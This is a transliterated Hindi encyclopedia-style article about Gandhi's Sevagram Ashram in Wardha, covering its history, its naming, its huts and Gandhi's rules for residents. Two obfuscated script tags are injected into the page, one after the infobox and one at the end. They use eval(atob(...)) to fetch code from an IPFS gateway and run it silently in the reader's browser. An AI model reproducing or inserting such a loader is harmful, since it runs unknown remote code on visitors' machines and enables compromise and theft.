सेवाग्राम आश्रम

sevagram ashram
gaandhi kuti, sevagram ashram|200px|center
vivaran	'sevagram ashram' maharashtr ke vardha mean sthit mahatma gaandhi se sambandhit prasiddh ashram hai. gaandhiji ne 'sabaramati ashram' ke bad isaki sthapana ki thi.
rajy	maharashtr
zila	vardha
nirmata	mahatma gaandhi
bhaugolik sthiti	sevagram (vardha zila, maharashtr)
prasiddhi	is ashram mean mahatma gaandhi ke jivan se ju di kee mahattvapoorn smritiyaan haian.
kya dekhean	adi nivas, bapoo kuti, bapoo daphtar, ba kuti, akhiri nivas aur prarthana bhoomi, mahadev kuti, parachure kuti, rustam bhavan adi.
sanbandhit lekh	mahatma gaandhi, sabaramati ashram, gujarat, maharashtr
any janakari	'sevagram ashram' mean kee kutiyaean haian, jahaan svayan gaandhiji evan unake sahayogi raha karate the. sab kutiyaean apane ap mean anokhi haian aur gaandhiji ki tatkalin jivan shaili samete huee haian.
bahari k diyaan	yah kaha jata hai ki 1930 mean jab gaandhiji ne sabaramati ashram se daandi tak padayatra praranbh ki thi, tab unhoanne shapath li thi ki jab tak bharat svatantr nahi ho jata, ve sabaramati mean kadam nahi rakheange.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sevagram ashram maharashtr rajy ke vardha zile mean sthit sevagram namak gaanv mean hai. pahale sevagram gaanv ko 'shegaanv' nam se jana jata tha. rashtrapita mahatma gaandhi ne hi is gaanv ka nam badalakar sevagram rakha. sevagram ashram bharat mean gaandhiji dvara sthapit doosara mahatvapoorn ashram hai. isase poorv gaandhiji ne gujarat mean sabaramati ashram ki sthapana ki thi. ye ashram gaandhiji ke rachanatmak karyakramoan evan unake rajanitik aandolan adi ke sanchalan ka keandr hua karate the. yah vah sthan hai, jahaan mahatma gaandhi 13 varsh, san 1936 se 1948 tak rahe. aisa vishvas hai ki 1930 mean jab gaandhiji ne sabaramati ashram se daandi tak padayatra praranbh ki thi, tab unhoanne shapath li thi ki jab tak bharat svatantr nahi ho jata, ve sabaramati mean kadam nahi rakheange.

sthiti tatha prasiddhi

mahatma gaandhi ka gujarat mean sthit sabaramati ashram duniya bhar mean prasiddh hai. lekin utana hi prasiddh unaka 'sevagram ashram' bhi hai, jo vardha (maharashtr) mean sthit hai. is ashram ki visheshata hai ki gaandhiji ne apane sandhya kal ke aantim 12 varsh yahian bitae the. vardha shahar se 8 ki.mi. ki doori par 300 ek d ki bhoomi par phaila yah ashram itani atmik shaanti deta hai, jise shabdoan mean varnan nahian kiya ja sakata. ashram ki aur bhi kee khasiyat haian. gaandhiji ne yahaan kee rananiti banaeean, keeyoan se mile aur bahutoan ke jivan ko nee disha di. yahaan akar aisa lagata hai, jaise kisi mandir mean pahuanch ge hoan. sab kuchh shaant aur saumy. ashram ko samajhane par gaandhiji ka vyaktitv bhi samajh a jata hai. yah ashram bapoo ke vyaktitv ka darpan hai. yahaan akar hi pata chal jata hai ki ham ek aise mahanh shakhs ka uthana-baithana dekh-samajh rahe haian, jisane bharat ki ajadi ka nianv rakhi.

gaandhiji ka sankalp

yadi koee vyakti vastav mean mahatma gaandhi ko, unake darshan ko aur unake jivan ko samajhana chahata hai to use 'sevagram ashram' avashy dekhana chahie. yahaan ab bhi charakhe par soot kata jata hai. paranparikata yahaan aj bhi jivant hai. svayan gaandhiji bhi jivant haian. gaandhiji ke sabaramati se sevagram pahuanchane ki kahani bhi kafi rochak hai. 12 march, 1930 ko 'bharatiy itihas' mean prasiddh 'namak satyagrah' ke lie sabaramati ashram se apane 78 sathiyoan ke sath gaandhiji 'daandi march' par nikale the. vahaan se chalate samay unhoanne sankalp liya tha ki 'svarajy' lie bina ashram mean nahian lautooanga. 6 aprail, 1930 ko gujarat ke daandi samudr tat par gaandhiji ne namak ka kanoon to da aur 5 mee, 1930 ko unhean giraphtar kar bina mukadama chalae yaravada jel mean dal diya gaya. 1933 mean jel se riha hone ke bad gaandhiji deshavyapi harijan yatra par nikal ge. svarajy mila nahian tha, isalie ve vapas sabaramati laut nahian sakate the. atah unhoanne madhy bharat ke ek gaanv ko apana mukhyalay banane ka nishchay kiya. 1934 mean jamanalal bajaj evan any sathiyoan ke agrah se ve vardha ae aur maganava di mean rahane lage. 30 aprail, 1936 ko gaandhiji pahali bar maganava di se shegaanv (ab sevagram) rahane chale ae. jis din ve shegaanv ae, unhoanne vahaan chhota-sa bhashan dekar sevagram mean bas jane ka apana nishchay gaanv valoan ko bataya.

sevagram namakaran

aj ke sevagram ka nam shuroo mean shegaanv tha. isi kshetr mean nagapur-bhusaval relave lain par shegaanv nam ke relave steshan vala ek b da gaanv hone se gaandhiji ki dak mean bahut g dab di hoti thi. atah suvidha ke lie 1940 mean gaandhiji ki ichchha evan salah se 'shegaanv' ka nam 'sevagram' kar diya gaya.

vibhinn kutiyaean

sevagram ashram mean kee kutiyaean haian, jahaan svayan gaandhiji evan unake sahayogi raha karate the. yah sab kutiya apane ap mean anokhi haian aur gaandhiji ki tatkalin jivan shaili samete huee haian. unaka vivaran is prakar hai-

adi nivas

yahaan shuruat mean gaandhiji samet sabhi log raha karate the. tab yahi ekamatr kuti thi. yahaan kastooraba aur bapoo ke alava pyarelal ji, sant tuk doji maharaj, khan abdul gaffar khan ke sath doosare ashramavasi tatha mehaman thaharate the. gaandhiji se milane ane ane vale sab neta bhi unase yahian milate the. 'bharat chho do aandolan' ki pratham sabha 1942 ko isi jagah huee thi. 1940 ke 'vyaktigat satyagrah' ki prathamik taiyari bhi isi jagah huee thi.

bapoo kuti aur bapoo daphtar

in donoan kutiyoan mean gaandhiji rahate the tatha logoan se milate the. bapoo kuti aur bapoo daphtar bad mean bani. aj jaisi ye dikhati haian, pahale isake mukabale yah kahian adhik chhoti thian. bapoo daphtar vali kuti mean gaandhiji logoan se mantrana karate the. unaki madad karane vale log unake daean or baithate the. mahadev bhaee ya doosare mantri unaki baeean or baithate the.

ba kuti

ashram mean anek purushoan ka rahana tatha ana-jana hota tha. is vajah se 'ba' (kastooraba gaandhi) ki pareshani ko dekhate hue jamanalal bajaj ne ba ki sahamati se unake lie ek alag kuti banava di. aj vah 'ba kuti' ke nam se jani jati hai. thumb|280px|sevagram ashram

akhiri nivas

yah kuti jamanalal bajaj ne svayan ke rahane ke lie banavaee thi. lekin aisa avasar na a saka. yah kuti any kee mehamanoan ke rahane ke kam mean ati rahi.

prarthana bhoomi

yah sevagram ashram ke bichoan bich ek b di bhoomi hai, jo prarthana ke lie kam ati thi. is par aj bhi pratharna hoti hai.

in kuchh pramukh kutiyoan aur sthanoan ke atirikt bhi sevagram ashram mean aur bhi kee mahattvapoorn sthan haian. inamean mahadev kuti, bhojan sthan, rasoee ghar, kishor nivas, parachure kuti, rustam bhavan, nee talim parisar, gaushala, aantararashtriy chhatravas, dakaghar, yatri nivas adi shamil haian.

gaandhi chitr pradarshani

ashram ke pashchim mean, mukhy s dak ke us par sthit 'gaandhi chitr pradarshani' mean bapoo ka sanpoorn jivan kram chitroan ke madhyam se pradarshit kiya gaya hai. yah chitr pradarshani kafi adbhut hai aur ashram mean ane vale pratyek vyakti ko ise avashy dekhana chahie. ise dekhate samay bapoo ka poora jivan samane jivant ho uthata hai. yahaan chitroan ke atirikt mahatma gaandhi ke jivan mean ghatit ghatanaoan ko moortiyoan dvara tatha unake avas adi ko pratikriti ke madhyam se pradarshit kiya gaya hai. isase bapoo ke jivan kram v kary ko samajhane v janane mean bahut asani hoti hai.

ashramavasiyoan ke lie soochanaean

gaandhiji ek pothi mean samay-samay par ashramavasiyoan ke lie soochanaean likhakar rakha karate the. pothi ke praranbh mean likha rahata tha- "shegaanv sevakoan ke lie". is pothi mean bahut hi adbhut batean likhi rahati thian, jo anukaraniy haian. unamean se kuchh batean is prakar haian-

• thook bhi mal hai. isalie jis jagah ham thookean ya maile hath dhovean vahaan bartan kabhi saph na karean. (dinaank - 6.8.1936)
• meri salah hai ki sab niyam poorvak sootrayajn karean. us bat mean hamean bahut savadhan rahana chahie. (dinaank - 6.1.1940)
• sab kam savadhani se hona chahie, ham sab ek kutumb haian, isi bhavana se kam lena avashyak hai. (dinaank - 21.1.1940)
• namak bhi jitana chahie, utana hi levean. pani tak nikamma kharch n karean. maian asha karata hooan ki sab (log) ashram ki har ek chij apani aur garib ki hai, aisa samajhakar chaleange. (dinaank - 30.1.1940)

gaandhiji ka kathan

sevagram mean rahate hue mahatma gaandhi ne 1937 mean kaha tha-

"ap yah vishvas rakhean ki maian jis tarah se rahana chahata hooan, thik usi tarah se aj rah raha hooan. jivan ke praranbh mean hi agar mujhe adhik spasht darshan hota to maian shayad jo karata, vah ab jivan ke sandhya kal mean kar raha hooan. yah mere jivan ki aantim avastha hai. maian to nianv se nirman karake oopar tak jane ke prayas mean laga hooan. maian kya hooan, yah yadi ap janana chahate haian to mera yahaan (sevagram) ka jivan ap dekhie tatha yahaan ke vatavaran ka adhyayan kijie."

yadi koee vastav mean gaandhiji ko, unake darshan ko aur unake jivan ko samajhana chahata hai to use 'sevagram ashram' zaroor dekhana chahie. vahaan ab bhi charakhe par soot kata jata hai. paranparikata vahaan jivant hai. svayan gaandhiji bhi vahaan jivant haian. ashram dekhakar sahasa vishvas karana mushkil ho jata hai ki koee mahanh purush is sadagi se bhi rah sakata hai. vishv ke mahanh vaijnanik albart aianstain ne bhi ek bar gaandhiji ke bare mean kaha tha ki- "maian gaandhi ko hamare yug ka ekamatr sachcha mahapurush manata hooan. ane vali pidhiyaan kathinaee se yah vishvas kar paeangi ki gaandhi jaisa ha d-maans ka bana vyakti sachamuch is dharati par kabhi tahalata tha."

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• sevagram ashram, sevagram
• sevagram ashram

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>